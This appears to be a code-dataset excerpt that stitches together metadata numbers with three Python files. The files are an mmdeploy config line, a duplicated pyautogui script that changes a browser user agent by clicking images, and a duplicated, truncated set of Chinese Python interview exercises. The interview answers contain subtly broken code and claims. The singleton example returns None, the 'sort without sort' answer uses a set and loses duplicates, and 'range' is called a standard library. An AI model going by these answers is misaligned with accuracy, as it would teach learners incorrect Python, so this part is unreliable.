0.898152

0.882316

0.882079

0

0.005038

0.299092

41,061

761

584

53.956636

0.874809

0.82526

0

0.065657

0

1

0.363636

false

0

0.090909

0

1

0

null

0

1

0

1

0

null

0

1

0

1

0

9

4c158f326a9802ca733880681a122dfefd909449

71

py

Python

configs/mmdet/detection/detection_tensorrt-fp16_dynamic-320x320-1344x1344.py

zhiqwang/mmdeploy

997d111a6f4ca9624ab3b36717748e6ce002037d

[ "Apache-2.0" ]

746

2021-12-27T10:50:28.000Z

2022-03-31T13:34:14.000Z

configs/mmdet/detection/detection_tensorrt-fp16_dynamic-320x320-1344x1344.py

zhiqwang/mmdeploy

997d111a6f4ca9624ab3b36717748e6ce002037d

[ "Apache-2.0" ]

253

2021-12-28T05:59:13.000Z

2022-03-31T18:22:25.000Z

configs/mmdet/detection/detection_tensorrt-fp16_dynamic-320x320-1344x1344.py

zhiqwang/mmdeploy

997d111a6f4ca9624ab3b36717748e6ce002037d

[ "Apache-2.0" ]

147

2021-12-27T10:50:33.000Z

2022-03-30T10:44:20.000Z

_base_ = ['../_base_/base_tensorrt-fp16_dynamic-320x320-1344x1344.py']

35.5

70

0.774648

9

71

5.444444

0.777778

0.326531

0

0.235294

0.042254

71

1

71

0.485294

0

0.802817

0

1

0

false

0

1

0

null

1

0

1

0

1

0

1

0

1

null

0

7

4c746a6fe83e36ce5599e88bc1f315197cb35d98

2,249

py

Python

Pyautogui_tutorial/mouseclicktarget.py

xfzlun/WinUIAutomation

0f94388671cf0aacbc8499293b7dd31ddfa205fa

[ "MIT" ]

null

Pyautogui_tutorial/mouseclicktarget.py

xfzlun/WinUIAutomation

0f94388671cf0aacbc8499293b7dd31ddfa205fa

[ "MIT" ]

null

Pyautogui_tutorial/mouseclicktarget.py

xfzlun/WinUIAutomation

0f94388671cf0aacbc8499293b7dd31ddfa205fa

[ "MIT" ]

null

import pyautogui import random import pyperclip #左键点击脚本 def left_click(path): #定义一个函数实现左键点击的功能 left_click1 = pyautogui.locateOnScreen(path) #把目标图片当作参数传递给path print('left_click1::', left_click1) if left_click1: url_x, url_y = pyautogui.center(left_click1) pyautogui.leftClick(url_x, url_y) return True return False def change_ua(): #定义一个函数实现随机变换目标图片 ua=random.choice(useragents) for i in range(2): result0 = left_click('./images/ua{}.png'.format(i)) if result0: break result2 = left_click('./images/ua2.png') result3 = left_click('./images/ua3.png') result4 = left_click('./images/ua40.png') for j in range(1,3): result5 = left_click('./images/ua4{}.png'.format(j)) if result5: pyautogui.hotkey('ctrl','a') pyautogui.hotkey('backspace') pyperclip.copy(ua) pyautogui.hotkey('ctrl','v') pyautogui.press('enter') result6 = left_click('./images/ua_refresh.png') left_click('./images/ua5.png')#左键点击脚本 def left_click(path): #定义一个函数实现左键点击的功能 left_click1 = pyautogui.locateOnScreen(path) #把目标图片当作参数传递给path print('left_click1::', left_click1) if left_click1: url_x, url_y = pyautogui.center(left_click1) pyautogui.leftClick(url_x, url_y) return True return False def change_ua(): #定义一个函数实现随机变换目标图片 ua=random.choice(useragents) for i in range(2): result0 = left_click('./images/ua{}.png'.format(i)) if result0: break result2 = left_click('./images/ua2.png') result3 = left_click('./images/ua3.png') result4 = left_click('./images/ua40.png') for j in range(1,3): result5 = left_click('./images/ua4{}.png'.format(j)) if result5: pyautogui.hotkey('ctrl','a') pyautogui.hotkey('backspace') pyperclip.copy(ua) pyautogui.hotkey('ctrl','v') pyautogui.press('enter') result6 = left_click('./images/ua_refresh.png') left_click('./images/ua5.png')

35.698413

67

0.580703

256

2,249

4.953125

0.234375

0.113565

0.165615

0.025237

0.966877

0

0.027569

0.290351

2,249

63

68

35.698413

0.766917

0.047132

0

0.947368

0

0.154291

0.022179

0

1

0.070175

false

0

0.052632

0

0.192982

0.035088

0

null

0

1

0

1

0

null

0

7

d5cb63cc9a08efad1af881fed9f23f833f8ed7a6

35,972

py

Python

PythonInterview/InterviewQuestions/Questions_01.py

xtawfnhdx/PythonInterview

515675ffd86eb1ad3bfa631fd3c88fddcf411e98

[ "Apache-2.0" ]

null

PythonInterview/InterviewQuestions/Questions_01.py

xtawfnhdx/PythonInterview

515675ffd86eb1ad3bfa631fd3c88fddcf411e98

[ "Apache-2.0" ]

null

PythonInterview/InterviewQuestions/Questions_01.py

xtawfnhdx/PythonInterview

515675ffd86eb1ad3bfa631fd3c88fddcf411e98

[ "Apache-2.0" ]

null

""" 110道Python面试题 URl: """ # 01 一行代码实现1-100之和 # range的第二个参数，是开区间，也就是不包括第二个参数 print('第一题：', sum(range(1, 101))) # 02 如何在一个函数内部修改全局变量 test02 = 10 def funtest02(): global test02 test02 = 5 print(test02) print('第二题：', test02) # 03 列出5个Python 标准库 print('第三题:', 'typing', 'datetime', 'time', 'range', 'abc', 're', ) # 04 字典如何删除键和合并两个字典 test04_1 = {'a': 1, 'b': 2} print('第四题：', test04_1) del test04_1['a'] test04_1['c'] = 5 print(test04_1) test04_2 = {'aa': 2, 'bb': 2} test04_2.update(test04_1) print(test04_2) print('拓展，关于列表操作 list') test04_list1 = [1, 2, 3] test04_list2 = [4, 5, 3] test04_list1.remove(2) test04_list2.extend(test04_list1) print(test04_list2) print('拓展，关于元组 tuple') test04_tuple = (1, 2, 3) print(test04_tuple[1]) print('拓展，关于集合 set') test04_set01 = {1, 2, 3} test04_set01.remove(2) print(test04_set01) test04_set02 = {3, 4, 5} test04_set02.update(test04_set01) print(test04_set02) # 05 谈下python的GIL print('全局解释器锁') # 06 python实现列表去重的方法 # 直接将列表转换为集合，集合是没有重复项的数据类型 test06_list1 = [1, 2, 3, 4, 4, 3, 7, 5, 6, 7, 3] test06_set1 = set(test06_list1) print('第6题的集合', test06_set1) test06_list2 = [x for x in test06_set1] print(test06_list2) # 07 fun(*args,**kwargs)中的*args，**kwargs是什么意思 print('第07题：fun(*args,**kwargs)中的*args，**kwargs是什么意思') print('*args 表示"非键值"对的可变数量的参数列表') print('**kwargs 表示"键值对"的可变数量的参数列表') def deftest07(*args, **kwargs): print('输出"非键值对"的可变数量参数列表') for x in args: print(x) print('输出"键值对"的可变数量参数列表') for k, v in kwargs.items(): print(f'key:{k},value:{v}') deftest07(1, 2, 4, 'aa', 'sbs', name='t2', sex='women') # 08 python2和python3的range(100）的区别 print('第08题：python2和python3的range(100）的区别') print('python2返回列表 python3返回迭代器节约内存') # 09 一句话解释什么样的语言能够用装饰器 print('09 一句话解释什么样的语言能够用装饰器') print('函数可以作为参数传递的语言，可以使用装饰器') # 10 Python 内建数据有哪些 print('10 Python 内建数据有哪些') print(type(int(10))) print(type(float(10))) print(type(bool(0))) print(type(str('a'))) print(type(list([1, 2]))) print(type(tuple((1, 2)))) print(type(dict({'a': 1}))) print(type(set({'a'}))) print(type(bytes())) # 11 简述面向对象中 __new__ 和 __init__ 的区别 print('11 简述面向对象中 __new__ 和 __init__ 的区别') print('__new__ 含义为创建一个对象的实例，为第一步操作，new方法必须有一个返回值，包含一个cls参数') print('__init__ 含义为为对象的实例初始化一部分操作，为第二部操作，前提是已经创建了一个对象的实例') # 12 简述with方法打开处理文件帮我们做了什么 print('12 简述with方法打开处理文件帮我们做了什么') print('调用结束或者异常时，自动释放资源，也就是f.close方法') # 13 列表[1,2,3,4,5],请使用map()函数输出[1,4,9,16,25]，并使用列表推导式提取出大于10的数，最终输出[16,25] print('13 列表[1,2,3,4,5],请使用map()函数输出[1,4,9,16,25]，并使用列表推导式提取出大于10的数，最终输出[16,25]') test13_01list = [1, 2, 3, 4, 5] def deftest13(x): return x * x test13_02list = list(map(deftest13, test13_01list)) print(test13_02list) print('列表推导式结果：', [x for x in test13_02list if x > 10]) print('lambda表达式结果：', list(filter(lambda x: x > 10, test13_02list))) # 14 python中生成随机整数、随机小数、0--1之间小数的方法 import random print('生成随机整数，需要传入区间：', random.randint(1, 100)) print('生成随机小数：', random.random()) print('生成0--1之间的小数', random.random()) # 15 避免转义给字符串加哪个字母表示原始字符串？ print('15 避免转义给字符串加哪个字母表示原始字符串？') print('输出转义字符：', '\r\n') print('输出非转义字符(加斜杠)：', '\\r\\n') print('输出非转义字符(加"r"字符前缀)：', r'\r\n') # 16 正则表达式使用 # 17 python中使用断言 print('17 python中使用断言') def deftest17(counts): # 断言成功，则继续执行，断言失败，则程序报错 assert 0 < counts < 10, '这里是断言错误抛出的异常字符串' return counts try: print('正常执行') deftest17(6) print('命中断言') deftest17(12) except AssertionError as e: print(e) # 18 数据表student有id,name,score,city字段，其中name中的名字可有重复，需要消除重复行,请写sql语句 print('18 数据表student有id,name,score,city字段，其中name中的名字可有重复，需要消除重复行,请写sql语句') # 19 # 20 # 21 列出python中可变数据类型和不可变数据类型，并简述原理 print('21 列出python中可变数据类型和不可变数据类型，并简述原理') print('不可变数据类型：int,str,tuple') print('可变数据类型：set,list,dict') print('值修改，内存地址发生变化的，即为不可变数据类型，反之亦然') # 22 s = "ajldjlajfdljfddd"，去重并从小到大排序输出"adfjl" print('22 s = "ajldjlajfdljfddd"，去重并从小到大排序输出"adfjl"') test22_str1 = "ajldjlajfdljfddd" test22_list1 = list(set(test22_str1)) test22_list1.sort() print("".join(test22_list1)) # 23 用lambda函数实现两个数相乘 print('23 用lambda函数实现两个数相乘') s = lambda x, y: x * y print(s(2, 3)) # 24 字典根据键从小到大排序 print('24 字典根据键从小到大排序') test24_dict1 = {'a': 1, 'c': 3, 'g': 4, 'b': 6} test24_list1 = sorted(test24_dict1.items(), key=lambda x: x[0], reverse=False) print(test24_list1, type(test24_list1)) test24_dict2 = dict(test24_list1) print(test24_dict2, type(test24_dict2)) # 25 利用collections库的Counter方法统计字符串每个单词出现的次数"kjalfj;ldsjafl;hdsllfdhg;lahfbl;hl;ahlf;h" print('25 题。。。。') import collections test25_str1 = 'kjalfj;ldsjafl;hdsllfdhg;ldsjafl;gehr;lahfbl;ldsjafl;hl;ahlf;h' test25_counter = collections.Counter(test25_str1.split(';')) print(test25_counter, type(test25_counter)) print(dict(test25_counter)) # 26 正则 # 27 filter方法求出列表所有奇数并构造新列表，a = [1, 2, 3, 4, 5, 6, 7, 8, 9, 10] """ filter函数用于过滤序列，过滤掉不符合条件的元素，返回有符合元素组成的新列表(迭代器) filter(function,iterable) """ print('27题。。。。') test27_list1 = [1, 2, 3, 4, 5, 6, 7, 8, 9, 10] test27_iterable = filter(lambda x: x % 2 == 1, test27_list1) print(list(test27_iterable)) # 28 列表推导式求列表所有奇数并构造新列表，a = [1, 2, 3, 4, 5, 6, 7, 8, 9, 10] print('28 列表推导式求列表所有奇数并构造新列表，a = [1, 2, 3, 4, 5, 6, 7, 8, 9, 10]') test28_list1 = [1, 2, 3, 4, 5, 6, 7, 8, 9, 10] test28_list2 = [x for x in test28_list1 if x % 2 == 1] print(test28_list2) # 29 正则re.complie作用 print('29 正则re.complie作用') print('re.complie 是将正则表达式编译成一个对象，加快速度，并重复使用') import re test29_recompile = re.compile(r'^(\d{3})-(\d{3,8})$') test29_a = test29_recompile.match('010-123456').groups() test29_b = test29_recompile.match('202-458483').groups() print(test29_a, test29_b) # 30 a=（1，）b=(1)，c=("1") 分别是什么类型的数据？ print('30 a=（1，）b=(1)，c=("1") 分别是什么类型的数据？') print('a=（1,)的类型是元组，', type((1,))) print('b=(1)的类型是数字', type((1))) print('c=("1")的类型是字符串', type(('1'))) # 31 两个列表[1,5,7,9]和[2,2,6,8]合并为[1,2,2,3,6,7,8,9] """ extend yu append 都可以在列表后面增加元素 extend:参数为可迭代对象，是将迭代对象的每一项挨个增加到原有列表队尾 append:参数为object，是将obj直接当做一个项增加到到列表队尾 """ print('31 两个列表[1,5,7,9]和[2,2,6,8]合并为[1,2,2,3,6,7,8,9]') test31_list1 = [1, 5, 7, 9] test31_list2 = [2, 2, 6, 8] test31_list1.extend(test31_list2) test31_list1.sort() print(test31_list1) test31_list1.append(test31_list2) print(test31_list1) # 32 用python删除文件和用linux命令删除文件方法 print('32 用python删除文件和用linux命令删除文件方法') print(f'python方法：os.remove') print(f'linux:rm') # 33 log日志中，我们需要用时间戳记录error,warning等的发生时间，请用datetime模块打印当前时间戳 “2018-04-01 11:38:54” print('33 log日志中，我们需要用时间戳记录error,warning等的发生时间，请用datetime模块打印当前时间戳 “2018-04-01 11:38:54”') import datetime # strftime 时分秒(H M S)都要大写 test32_str1 = datetime.datetime.now().strftime('%Y-%m-%d %H:%M:%S') print(test32_str1) # 33 数据库优化查询方法 # 34 请列出你会的任意一种统计图(条形图，折线图等)绘制的开源库，第三方也行 print('34 请列出你会的任意一种统计图(条形图，折线图等)绘制的开源库，第三方也行') print('pyecharts', 'matplotlib') # 35 写一段自定义异常代码 print('35 写一段自定义异常代码') def def35(): try: raise IndexError('测试测试') except IndexError as i: print(i) def35() # 36 正则表达式匹配中，(.*)和(.*?)匹配的区别？ print('36 正则表达式匹配中，(.*)和(.*?)匹配的区别？') print('(.*) 是贪婪匹配，尽可能多的往后面匹配') print('(.*？) 非贪婪匹配，尽可能少的匹配') import re test36_str = '<a>哈哈</a><a>呵呵</a>' test36_re1 = re.findall("<a>(.*)</a>", test36_str) test36_re2 = re.findall("<a>(.*?)</a>", test36_str) print(test36_re1) print(test36_re2) # 38 简述Django的orm print('38 简述Django的orm') print('后续补充') # 39 [[1,2],[3,4],[5,6]]一行代码展开该列表，得出[1,2,3,4,5,6] print('39 [[1,2],[3,4],[5,6]]一行代码展开该列表，得出[1,2,3,4,5,6]') test39_list1 = [[1, 2], [3, 4], [5, 6]] # 使用列表推导式 for i in a test39_list2 = [j for i in test39_list1 for j in i] print(test39_list2) # 40 x="abc",y="def",z=["d","e","f"],分别求出x.join(y)和x.join(z)返回的结果 print('40 x="abc",y="def",z=["d","e","f"],分别求出x.join(y)和x.join(z)返回的结果') test40_str1 = 'abc' test40_str2 = 'def' test40_list1 = ['d', 'e', 'f'] print(test40_str1.join(test40_str2)) test40_str1 = 'abc' test40_str2 = 'def' test40_list1 = ['d', 'e', 'f'] print(test40_str1.join(test40_list1)) # 41 举例说明异常模块中try except else finally的相关意义 print('41 举例说明异常模块中try except else finally的相关意义') # 42 python中交换两个数值 print('42 python中交换两个数值') test42_i1, test42_i2 = 3, 4 print(test42_i1, test42_i2) test42_i1, test42_i2 = test42_i2, test42_i1 print(test42_i1, test42_i2) # 43 举例说明zip（）函数用法 print('43 举例说明zip（）函数用法') test43_list1 = [1, 2, 3, 4, 5] test43_list2 = ['a', 'b', 'c', 'd', 'e'] test43_res1 = zip(test43_list1, test43_list2) print(list(test43_res1)) # 44 a="张明 98分"，用re.sub，将98替换为100 print('44 a="张明 98分"，用re.sub，将98替换为100') test44_str1 = "张明 98分" # 45 写5条常用sql语句 # 46 a="hello"和b="你好"编码成bytes类型 print('46 a="hello"和b="你好"编码成bytes类型') test46_str1 = "hello" test46_str2 = "你好" print(test46_str1.encode()) print(test46_str2.encode(encoding='utf-8')) # 47 [1,2,3]+[4,5,6]的结果是多少？ print('47 [1,2,3]+[4,5,6]的结果是多少？') test47_list1 = [1, 2, 3] test47_list2 = [4, 5, 6] # +与extend相同 print(test47_list1 + test47_list2) test47_list1.extend(test47_list2) print(test47_list1) # 48 提高python运行效率的方法 print('48 提高python运行效率的方法') print(r'使用生成器，节约内存') print(r'循环代码优化，避免过多重复代码') print(r'多线程，多进程，协程') print(r'多个判断，命中率高的放到最前面') # 49 简述mysql和redis区别 print('49 简述mysql和redis区别') print('存储方式不一样，' 'mysql是关系数据库，数据主要固化到磁盘中' 'redis是以键值对存储的菲关系数据库，数据主要保存在内存中') # 50 遇到bug如何处理 # 51 正则匹配，匹配日期2018-03-20 # 52 list=[2,3,5,4,9,6]，从小到大排序，不许用sort，输出[2,3,4,5,6,9] print('52 list=[2,3,5,4,9,6]，从小到大排序，不许用sort，输出[2,3,4,5,6,9]') test52_list1 = [2, 3, 5, 4, 9, 6] test52_set = set(test52_list1) test52_list2 = list(test52_set) print(test52_list2) # 53 写一个单列模式 print('53 写一个单列模式') class Cls53(): _cls = None def __new__(cls, *args, **kwargs): if not cls._cls: _cls = super().__new__(cls) return cls._cls test53_t1 = Cls53() test53_t2 = Cls53() print(id(test53_t1)) print(id(test53_t2)) # 54 保留两位小数 test54_float = 3.67893 print('%0.2f' % test54_float) print(round(test54_float, 2)) # 55 求三个方法打印结果 # 56 列出常见的状态码和意义 # 57 分别从前端、后端、数据库阐述web项目的性能优化 print('57 分别从前端、后端、数据库阐述web项目的性能优化') # 58 使用pop和del删除字典中的"name"字段，dic={"name":"zs","age":18} print('58 使用pop和del删除字典中的"name"字段，dic={"name":"zs","age":18}') test58_dic1 = {"name": "zs", "age": 18, "sex": "woman", "height": "170"} test58_dic1.pop('age') print(test58_dic1) del test58_dic1["sex"] print(test58_dic1) # 59 列出常见MYSQL数据存储引擎 print('59 列出常见MYSQL数据存储引擎') # 60 计算代码运行结果，zip函数历史文章已经说了，得出[("a",1),("b",2)，("c",3),("d",4),("e",5)] print('60 计算代码运行结果，zip函数历史文章已经说了，得出[("a",1),("b",2)，("c",3),("d",4),("e",5)]') # 61 简述同源策略 print('61 简述同源策略') print('协议相同(http https),域名相同，端口相同') # 62 简述 cookie和session的区别 print('62 简述 cookie和session的区别') # 63 简述多线程，多进程 print('63 简述多线程，多进程') # 64 简述any()和all()方法 print('64 简述any()和all()方法') print('any() 迭代器中有一个为真，即为真') print('all() 迭代器中全为真，即为真') # 65 IOError、AttributeError、ImportError、IndentationError、IndexError、KeyError、SyntaxError、NameError分别代表什么异常 print('65 IOError、AttributeError、ImportError、IndentationError、IndexError、KeyError、SyntaxError、NameError分别代表什么异常') print( 'IOError:输入输出异常', '\r\n', 'AttributeError:访问对象一个不存在的属性', '\r\n', 'ImportError:无法引入模块或者包，基本都是路径问题', '\r\n', 'IndentationError:语法错误，代码没有正确对齐', '\r\n', 'IndexError:下标索引超出限制', '\r\n', 'KeyError:视图访问字典中不存在的键', '\r\n', 'SyntaxError:Python代码逻辑语法出错，不能执行', '\r\n', 'NameError：使用了一个还未赋值的对象变量') # 66 python copy 和 deepcopy的区别 print('66 python copy 和 deepcopy的区别') print('copy:浅复制，引用数据复制的是引用地址') print('deepcopy：深复制，引用数据直接赋值数据本身') # 67 列出几种魔法方法并简要介绍用途 print('67 列出几种魔法方法并简要介绍用途') print('__new__') print('__init(self)__') print('__class__ 获取已知对象的类') print('__str__ 将对象转换成字符串') print('__del__ 对象调用结束以后，垃圾回收调用该魔法函数，来释放资源') print('__hash__ 返回哈希值') # 68 # 69 请将[i for i in range(3)] 改成生成器 print('69 请将[i for i in range(3)] 改成生成器') test69_iter2 = (i for i in range(10)) print(type(test69_iter2)) print(test69_iter2.__next__()) print(next(test69_iter2)) for x in test69_iter2: print(x) print(list(i for i in range(10))) print(tuple(i for i in range(10))) # 70 a = " hehheh ",去除首尾空格 print('70 a = " hehheh ",去除首尾空格') test70_str1 = " hehheh " print(test70_str1.strip()) # 71 举例sort和sorted对列表排序，list=[0,-1,3,-10,5,9] print('71 举例sort和sorted对列表排序，list=[0,-1,3,-10,5,9]') test71_list1 = [0, -1, 3, -10, 5, 9] test71_list2 = sorted(test71_list1) print(test71_list1, test71_list2) test71_list1.sort() print(test71_list1) # 72 对list排序foo = [-5,8,0,4,9,-4,-20,-2,8,2,-4],使用lambda函数从小到大排序 print('72 对list排序foo = [-5,8,0,4,9,-4,-20,-2,8,2,-4],使用lambda函数从小到大排序') test72_list1 = [-5, 8, 0, 4, 9, -4, -20, -2, 8, 2, -4] test72_gen1 = sorted(test72_list1, key=lambda x: x) print(test72_gen1) # 73 使用lambda函数对list排序foo = [-5,8,0,4,9,-4,-20,-2,8,2,-4]，输出结果为 [0,2,4,8,8,9,-2,-4,-4,-5,-20]，正数从小到大，负数从大到小 print('73 使用lambda函数对list排序foo = [-5,8,0,4,9,-4,-20,-2,8,2,-4]，输出结果为 [0,2,4,8,8,9,-2,-4,-4,-5,-20]，正数从小到大，负数从大到小') test73_list1 = [-5, 8, 0, 4, 9, -4, -20, -2, 8, 2, -4] test73_gen1 = sorted(test73_list1, key=lambda x: (x < 0, abs(x))) print(test73_gen1) test73_gen2 = sorted(test73_list1, key=lambda x: abs(x)) print(test73_gen2) # 74 列表嵌套字典的排序，分别根据年龄和姓名排序 print('74 列表嵌套字典的排序，分别根据年龄和姓名排序') test74_list1 = [{"name": "zs", "age": 19}, {"name": "ll", "age": 54}, {"name": "wa", "age": 17}, {"name": "df", "age": 23}] test74_gen1 = sorted(test74_list1, key=lambda x: x["name"]) test74_gen2 = sorted(test74_list1, key=lambda x: x["age"]) print(test74_gen1) print(test74_gen2) # 75 列表嵌套元组，分别按字母和数字排序 print('75 列表嵌套元组，分别按字母和数字排序') test75_tuple1 = [('sz', 13), ('ab', 24), ('ed', 56), ('hi', 12)] test75_gen1 = sorted(test75_tuple1, key=lambda x: x[0], reverse=True) test75_gen2 = sorted(test75_tuple1, key=lambda x: x[1], reverse=True) print(test75_gen1) print(test75_gen2) # 76 列表嵌套列表排序，年龄数字相同怎么办？ print('76 列表嵌套列表排序，年龄数字相同怎么办？') test76_list1 = [('sz', 13), ('ab', 24), ('ed', 56), ('hi', 12), ('hr', 24), ('as', 24), ] # 只针对数字排序 test76_gen1 = sorted(test76_list1, key=lambda x: (x[1])) # 针对数字排序，相同的时候，再针对字母排序 test76_gen2 = sorted(test76_list1, key=lambda x: (x[1], x[0])) print(test76_gen1) print(test76_gen2) # 77 根据键对字典排序(方法1，zip函数) print('77 根据键对字典排序(方法1，zip函数)') test77_dict1 = {'name': 'zhangsan', 'sex': 'man', 'city': 'bj'} test77_list1 = zip(test77_dict1.keys(), test77_dict1.values()) test77_gen1 = sorted(test77_list1, key=lambda x: x[0]) test77_dict2 = {x[0]: x[1] for x in test77_gen1} print(test77_dict2) # 78 根据键对字典排序(方法2，不用zip函数) print('78 根据键对字典排序(方法2，不用zip函数)') test78_dict1 = {'name': 'zhangsan', 'sex': 'man', 'city': 'bj'} print(type(test78_dict1.items()), ':', test78_dict1.items()) # 老写法 # test78_list2 = [(x, y) for x, y in test78_dict1.items()] # test78_gen1 = sorted(test78_list2, key=lambda x: x[0]) # 新写法 test78_dict1本来就是可迭代对象，不需要在转换为list test78_gen1 = sorted(test78_dict1.items(), key=lambda x: x[0]) test78_dict2 = {x[0]: x[1] for x in test78_gen1} print(test78_dict2) # 79 列表推导式字典推导式生成器 print('79 列表推导式字典推导式生成器') test79_list1 = [i for i in range(10)] print('列表推导式', test79_list1) test79_dic1 = {i: random.randint(11, 20) for i in range(1, 10)} print('字典推导式', test79_dic1) test79_gen1 = (i for i in range(10)) print('生成器', test79_gen1) print('生成器具体的值', list(test79_gen1)) # 80 最后出一道检验题目，根据字符串长度排序，看排序是否灵活运用 print('80 最后出一道检验题目，根据字符串长度排序，看排序是否灵活运用') test80_list1 = ['ab', 'abc', 'a', 'jekg'] # 长度降序排序 test80_list2 = sorted(test80_list1, key=lambda x: len(x), reverse=True) print(test80_list2) test80_list1 = ['ab', 'abc', 'a', 'jekg'] test80_list1.sort(key=len, reverse=True) print(test80_list1) # 81 举例说明SQL注入和解决办法 print('81 举例说明SQL注入和解决办法') # 82 s="info:xiaoZhang 33 shandong",用正则切分字符串输出['info', 'xiaoZhang', '33', 'shandong'] # 83 正则匹配以http://163.com结尾的邮箱 # 84 递归求和 print('84 递归求和') def deftest84(num): counts = 0 if num == 1: return num else: counts = num + deftest84(num - 1) return counts test84_int = deftest84(10) print('递归求值', test84_int) # 85 python字典和json字符串相互转化方法 print('85 python字典和json字符串相互转化方法') import json # 核心是json模块的 drmps 和 loads 函数功能 test85_dict1 = {'name': 'zhangsan', 'sex': 'man', 'city': 'bj'} test85_str1 = json.dumps(test85_dict1) print('字典转字符串：', type(test85_str1), test85_str1) test85_dict2 = json.loads(test85_str1) print('字符串转字典：', type(test85_dict2), test85_dict2) # 86 MyISAM 与 InnoDB 区别 print('86 MyISAM 与 InnoDB 区别') # InnoDB支持事物，默认每一次执行，都包装成事物处理，更适合频繁涉及到修改的操作，安全性较高，支持外键。 # 自增长字段，必须只包含该字段 # 清空表时，是一行一行删除数据，效率比较慢 # 87 统计字符串中某字符出现次数 print('87 统计字符串中某字符出现次数') test87_str1 = 'fsagbreyhefsdgbvhgrehsagbrfhetsagvedghre' # str.counter可以统计某个字符出现的次数 print('a字符出现的次数：', test87_str1.count('a')) # collections三方库可以统计所有字符出现的次数 test87_dict1 = collections.Counter(test87_str1) print('每个字符出现的次数：', test87_dict1) # 88 字符串转化大小写 print('88 字符串转化大小写') test88_str1 = 'gegGEgeGERGH' print('小写为:', test88_str1.lower()) print('大写为:', test88_str1.upper()) # 89 用两种方法去空格 print('89 用两种方法去空格') test89_str1 = ' zhangsan is a woman ' """ 110道Python面试题 URl: """ # 01 一行代码实现1-100之和 # range的第二个参数，是开区间，也就是不包括第二个参数 print('第一题：', sum(range(1, 101))) # 02 如何在一个函数内部修改全局变量 test02 = 10 def funtest02(): global test02 test02 = 5 print(test02) print('第二题：', test02) # 03 列出5个Python 标准库 print('第三题:', 'typing', 'datetime', 'time', 'range', 'abc', 're', ) # 04 字典如何删除键和合并两个字典 test04_1 = {'a': 1, 'b': 2} print('第四题：', test04_1) del test04_1['a'] test04_1['c'] = 5 print(test04_1) test04_2 = {'aa': 2, 'bb': 2} test04_2.update(test04_1) print(test04_2) print('拓展，关于列表操作 list') test04_list1 = [1, 2, 3] test04_list2 = [4, 5, 3] test04_list1.remove(2) test04_list2.extend(test04_list1) print(test04_list2) print('拓展，关于元组 tuple') test04_tuple = (1, 2, 3) print(test04_tuple[1]) print('拓展，关于集合 set') test04_set01 = {1, 2, 3} test04_set01.remove(2) print(test04_set01) test04_set02 = {3, 4, 5} test04_set02.update(test04_set01) print(test04_set02) # 05 谈下python的GIL print('全局解释器锁') # 06 python实现列表去重的方法 # 直接将列表转换为集合，集合是没有重复项的数据类型 test06_list1 = [1, 2, 3, 4, 4, 3, 7, 5, 6, 7, 3] test06_set1 = set(test06_list1) print('第6题的集合', test06_set1) test06_list2 = [x for x in test06_set1] print(test06_list2) # 07 fun(*args,**kwargs)中的*args，**kwargs是什么意思 print('第07题：fun(*args,**kwargs)中的*args，**kwargs是什么意思') print('*args 表示"非键值"对的可变数量的参数列表') print('**kwargs 表示"键值对"的可变数量的参数列表') def deftest07(*args, **kwargs): print('输出"非键值对"的可变数量参数列表') for x in args: print(x) print('输出"键值对"的可变数量参数列表') for k, v in kwargs.items(): print(f'key:{k},value:{v}') deftest07(1, 2, 4, 'aa', 'sbs', name='t2', sex='women') # 08 python2和python3的range(100）的区别 print('第08题：python2和python3的range(100）的区别') print('python2返回列表 python3返回迭代器节约内存') # 09 一句话解释什么样的语言能够用装饰器 print('09 一句话解释什么样的语言能够用装饰器') print('函数可以作为参数传递的语言，可以使用装饰器') # 10 Python 内建数据有哪些 print('10 Python 内建数据有哪些') print(type(int(10))) print(type(float(10))) print(type(bool(0))) print(type(str('a'))) print(type(list([1, 2]))) print(type(tuple((1, 2)))) print(type(dict({'a': 1}))) print(type(set({'a'}))) print(type(bytes())) # 11 简述面向对象中 __new__ 和 __init__ 的区别 print('11 简述面向对象中 __new__ 和 __init__ 的区别') print('__new__ 含义为创建一个对象的实例，为第一步操作，new方法必须有一个返回值，包含一个cls参数') print('__init__ 含义为为对象的实例初始化一部分操作，为第二部操作，前提是已经创建了一个对象的实例') # 12 简述with方法打开处理文件帮我们做了什么 print('12 简述with方法打开处理文件帮我们做了什么') print('调用结束或者异常时，自动释放资源，也就是f.close方法') # 13 列表[1,2,3,4,5],请使用map()函数输出[1,4,9,16,25]，并使用列表推导式提取出大于10的数，最终输出[16,25] print('13 列表[1,2,3,4,5],请使用map()函数输出[1,4,9,16,25]，并使用列表推导式提取出大于10的数，最终输出[16,25]') test13_01list = [1, 2, 3, 4, 5] def deftest13(x): return x * x test13_02list = list(map(deftest13, test13_01list)) print(test13_02list) print('列表推导式结果：', [x for x in test13_02list if x > 10]) print('lambda表达式结果：', list(filter(lambda x: x > 10, test13_02list))) # 14 python中生成随机整数、随机小数、0--1之间小数的方法 import random print('生成随机整数，需要传入区间：', random.randint(1, 100)) print('生成随机小数：', random.random()) print('生成0--1之间的小数', random.random()) # 15 避免转义给字符串加哪个字母表示原始字符串？ print('15 避免转义给字符串加哪个字母表示原始字符串？') print('输出转义字符：', '\r\n') print('输出非转义字符(加斜杠)：', '\\r\\n') print('输出非转义字符(加"r"字符前缀)：', r'\r\n') # 16 正则表达式使用 # 17 python中使用断言 print('17 python中使用断言') def deftest17(counts): # 断言成功，则继续执行，断言失败，则程序报错 assert 0 < counts < 10, '这里是断言错误抛出的异常字符串' return counts try: print('正常执行') deftest17(6) print('命中断言') deftest17(12) except AssertionError as e: print(e) # 18 数据表student有id,name,score,city字段，其中name中的名字可有重复，需要消除重复行,请写sql语句 print('18 数据表student有id,name,score,city字段，其中name中的名字可有重复，需要消除重复行,请写sql语句') # 19 # 20 # 21 列出python中可变数据类型和不可变数据类型，并简述原理 print('21 列出python中可变数据类型和不可变数据类型，并简述原理') print('不可变数据类型：int,str,tuple') print('可变数据类型：set,list,dict') print('值修改，内存地址发生变化的，即为不可变数据类型，反之亦然') # 22 s = "ajldjlajfdljfddd"，去重并从小到大排序输出"adfjl" print('22 s = "ajldjlajfdljfddd"，去重并从小到大排序输出"adfjl"') test22_str1 = "ajldjlajfdljfddd" test22_list1 = list(set(test22_str1)) test22_list1.sort() print("".join(test22_list1)) # 23 用lambda函数实现两个数相乘 print('23 用lambda函数实现两个数相乘') s = lambda x, y: x * y print(s(2, 3)) # 24 字典根据键从小到大排序 print('24 字典根据键从小到大排序') test24_dict1 = {'a': 1, 'c': 3, 'g': 4, 'b': 6} test24_list1 = sorted(test24_dict1.items(), key=lambda x: x[0], reverse=False) print(test24_list1, 